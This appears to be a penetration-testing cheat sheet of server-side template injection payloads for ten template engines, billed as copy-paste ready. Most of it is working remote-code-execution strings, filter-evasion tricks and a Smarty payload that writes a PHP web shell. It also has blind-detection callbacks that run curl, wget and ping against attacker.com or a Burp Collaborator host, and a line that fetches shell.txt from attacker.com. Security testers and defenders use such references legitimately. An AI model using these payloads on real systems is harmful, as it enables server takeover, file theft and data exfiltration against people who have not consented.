SSTI Payloads¶
Quick reference by template engine. Copy-paste ready.
tags: - ssti - template-injection - rce - payloads
Detection (Polyglot)¶
Detection Flow¶
${7*7} → 49? → Check EL/Mako/Velocity
{{7*7}} → 49? → Check Jinja2/Twig/Nunjucks
<%= 7*7 %> → 49? → Check ERB/EJS
#{7*7} → 49? → Check Pebble/Thymeleaf
*{7*7} → 49? → Check Thymeleaf
Jinja2 (Python)¶
Detection¶
RCE¶
# Classic
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
# Popen (find subprocess.Popen index first)
{{''.__class__.__mro__[2].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}
# os module via config
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Lipsum
{{lipsum.__globals__.os.popen('id').read()}}
# Cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}
# namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}
# request object
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# URL for
{{url_for.__globals__.os.popen('id').read()}}
# Get_flashed_messages
{{get_flashed_messages.__globals__.os.popen('id').read()}}
# Finding subprocess index
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{%endif%}{% endfor %}
# Builtins import
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
Blind Detection¶
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwned','w').write('test')}}
{{config.__class__.__init__.__globals__['os'].popen('sleep 5')}}
{{config.__class__.__init__.__globals__['os'].popen('curl attacker.com/'+$(id|base64)')}}
{{config.__class__.__init__.__globals__['os'].popen('ping -c1 attacker.com')}}
WAF Bypass¶
# attr filter
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Hex encoding
{{''['\x5f\x5fclass\x5f\x5f']}}
# Unicode
{{''['\u005f\u005fclass\u005f\u005f']}}
# String concat
{{''.+attr('__cl'+'ass__')}}
# Dict access
{{''['__class__']}}
# Join filter
{{''|attr(['__','class','__']|join)}}
# Format string
{{''|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))}}
# Request args
{{request|attr(request.args.x)}}?x=__class__
# No underscores via request
{{()|attr(request.args.a)|attr(request.args.b)}}?a=__class__&b=__mro__
Twig (PHP)¶
Detection¶
RCE¶
# System (Twig 1.x)
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# Exec
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 2.x/3.x (Craft CMS)
{{craft.app.view.evaluateDynamicContent('system("id")')}}
# Passthru
{{['id']|filter('passthru')}}
# System via filter
{{['id']|filter('system')}}
# Map + system
{{['id']|map('system')|join}}
# Reduce
{{[0]|reduce('system','id')}}
# Sort
{{['id',0]|sort('system')|join}}
# Array map
{{['id']|map('passthru')}}
Blind Detection¶
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("curl attacker.com")}}
{{['sleep 5']|filter('system')}}
WAF Bypass¶
# Block syntax
{%set cmd='id'%}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter(cmd)}}
# String concat
{{"sy"|cat:"stem"}}
# Without quotes
{{app.request.query.get(cmd)}}?cmd=id
Freemarker (Java)¶
Detection¶
${7*7}
<#assign x=7*7>${x}
${.data_model}
${.locale}
${"freemarker.template.utility.Execute"?new()("id")}
RCE¶
# Classic Execute
${"freemarker.template.utility.Execute"?new()("id")}
# ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}
# JythonRuntime
${"freemarker.template.utility.JythonRuntime"?new()("<script>import os;os.system('id')</script>")}
# Runtime exec
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Process builder
<#assign pb="freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"])>
${pb.start().waitFor()}
# Reading files
${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner","freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")).useDelimiter("\\A").next()}
Blind Detection¶
${"freemarker.template.utility.Execute"?new()("curl attacker.com")}
${"freemarker.template.utility.Execute"?new()("ping -c1 attacker.com")}
${"freemarker.template.utility.Execute"?new()("sleep 5")}
Velocity (Java)¶
Detection¶
RCE¶
# ClassTool
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
# Without ClassTool
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
# Reflection
#set($runtime=$class.inspect("java.lang.Runtime").type.getMethod("getRuntime",null).invoke(null,null))
#set($process=$runtime.exec("id"))
# Alternative
#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
Blind Detection¶
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("ping -c1 attacker.com"))
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("curl attacker.com"))
Smarty (PHP)¶
Detection¶
{$smarty.version}
{php}echo 'test';{/php}
{math equation="7*7"}
{self::getStreamVariable("file:///etc/passwd")}
RCE¶
# PHP tags (Smarty < 3)
{php}system('id');{/php}
# Smarty 3 (before sandbox)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# If tags
{if system('id')}{/if}
# Via literal
{literal}<script language="php">system('id');</script>{/literal}
# System function
{system('id')}
# Passthru
{passthru('id')}
# Fetch
{fetch file="http://attacker.com/shell.txt"}
Blind Detection¶
Mako (Python)¶
Detection¶
RCE¶
# Os module
<%import os;x=os.popen('id').read()%>${x}
# One liner
${self.module.cache.util.os.popen('id').read()}
# Import
<% import os %>${os.popen('id').read()}
# Subprocess
<% import subprocess %>${subprocess.check_output('id',shell=True)}
# Without import
${self.module.runtime.util.os.system('id')}
Blind Detection¶
${self.module.cache.util.os.popen('curl attacker.com').read()}
${self.module.cache.util.os.popen('sleep 5').read()}
ERB (Ruby)¶
Detection¶
RCE¶
# Backticks
<%= `id` %>
# System
<%= system('id') %>
# Exec
<%= exec('id') %>
# Open pipe
<%= IO.popen('id').readlines() %>
# Spawn
<%= spawn('id') %>
# Open3
<%= require 'open3'; Open3.capture2('id')[0] %>
# %x
<%= %x(id) %>
Blind Detection¶
Pebble (Java)¶
Detection¶
RCE¶
# Runtime
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes) }}
# ProcessBuilder
{% set pb = (1).TYPE.forName('java.lang.ProcessBuilder').constructors[0].newInstance([['id']]) %}
{% set is = pb.start().inputStream %}
{% set bytes = is.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes) }}
# One liner
{{''.class.forName('java.lang.Runtime').getRuntime().exec('id')}}
Thymeleaf (Java)¶
Detection¶
RCE¶
# Expression
${T(java.lang.Runtime).getRuntime().exec('id')}
# Pre-processing
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
# URL parameter injection
/path?lang=__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
# SpEL
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec('id')}
# With output
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
# ProcessBuilder
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
Blind Detection¶
${T(java.lang.Runtime).getRuntime().exec('curl attacker.com')}
${T(java.lang.Runtime).getRuntime().exec('ping -c1 attacker.com')}
EL (Expression Language - Java)¶
Detection¶
RCE¶
# Runtime
${Runtime.getRuntime().exec("id")}
# Empty array
${Runtime.getRuntime().exec(param.cmd)}?cmd=id
# ProcessBuilder
${pageContext.request.getSession().getServletContext().getClassLoader().getResource("")}
# JSP Shell
${pageContext.getSession().getServletContext().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")}
# With reflection
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("id")}
Generic WAF Bypasses¶
Unicode/Hex¶
Whitespace Alternatives¶
String Obfuscation¶
# Jinja2 string concat
{{"__"|"class"|"__"|join}}
# Reverse
{{"__ssalc__"[::-1]}}
# Base64 in runtime
{{''.__class__.__mro__[2].__subclasses__()[X]('echo aWQ=|base64 -d|bash',shell=True,stdout=-1).communicate()}}
Character Building¶
# From chr
{{''.__class__.__mro__[2].__subclasses__()[X].__init__.__globals__.__builtins__.chr(95)}}
# Lipsum ASCII
{{lipsum|string|list|attr(25)}}
Common Vulnerable Patterns¶
Python/Flask¶
# Render string from user input
render_template_string(request.args.get('name'))
# Format string templates
template = "Hello %s" % user_input
template = f"Hello {user_input}"
template = "Hello {}".format(user_input)
PHP/Twig¶
// User input in template
$twig->render("Hello " . $_GET['name']);
// Loading user template
$twig->render($_GET['template']);
Java/Freemarker¶
// String template with user input
template.process(dataModel, out); // dataModel contains user input directly
Ruby/ERB¶
Blind SSTI Detection Techniques¶
Time-Based¶
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}
# Twig
{{['sleep 5']|filter('system')}}
# Freemarker
${"freemarker.template.utility.Execute"?new()("sleep 5")}
DNS/HTTP Callback¶
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('curl http://BURP_COLLAB').read()}}
{{config.__class__.__init__.__globals__['os'].popen('nslookup BURP_COLLAB').read()}}
{{config.__class__.__init__.__globals__['os'].popen('wget http://BURP_COLLAB').read()}}
# Twig
{{['curl http://BURP_COLLAB']|filter('system')}}
# Freemarker
${"freemarker.template.utility.Execute"?new()("curl http://BURP_COLLAB")}
File Creation¶
# Jinja2
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwned','w').write('test')}}
# Mako
<% import os; os.system('touch /tmp/pwned') %>
Template Engine Fingerprinting¶
| Payload | Jinja2 | Twig | Freemarker | Velocity | ERB |
|---|---|---|---|---|---|
{{7*7}} |
49 | 49 | Error | Error | Error |
${7*7} |
${7*7} | ${7*7} | 49 | 49 | ${7*7} |
<%= 7*7 %> |
Error | Error | Error | Error | 49 |
{{7*'7'}} |
7777777 | 49 | Error | Error | Error |
#{7*7} |
Error | Error | Error | Error | 49 |
Context Matters
Identify the backend language first (Python/PHP/Java/Ruby), then narrow down the template engine.
See also: XSS for client-side injection, Command Injection for direct OS execution.